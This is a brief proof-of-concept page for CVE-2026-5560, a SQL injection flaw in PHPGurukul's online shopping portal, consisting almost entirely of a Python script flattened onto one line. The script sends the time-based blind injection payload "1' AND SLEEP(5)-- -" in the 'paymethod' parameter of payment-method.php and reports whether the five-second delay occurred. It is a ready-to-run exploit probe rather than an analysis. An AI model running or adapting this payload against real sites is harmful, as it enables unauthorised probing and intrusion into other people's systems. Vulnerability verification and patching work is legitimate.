CVE-2026-5560 PHPGurukul在线购物门户SQL注入漏洞

import requests # Target URL configuration target_url = "http://target-host/payment-method.php" # SQL Injection Payload to test vulnerability # This payload attempts to cause a time delay to confirm blind SQL injection payload = "1' AND SLEEP(5)-- -" # Construct the request parameters params = { "paymethod": payload } try: # Send the GET request response = requests.get(target_url, params=params, timeout=10) # Check if the response time indicates successful injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability detected: SQL Injection in 'paymethod' parameter") else: print("[-] Vulnerability not detected or payload failed") except Exception as e: print(f"Error connecting to target: {e}")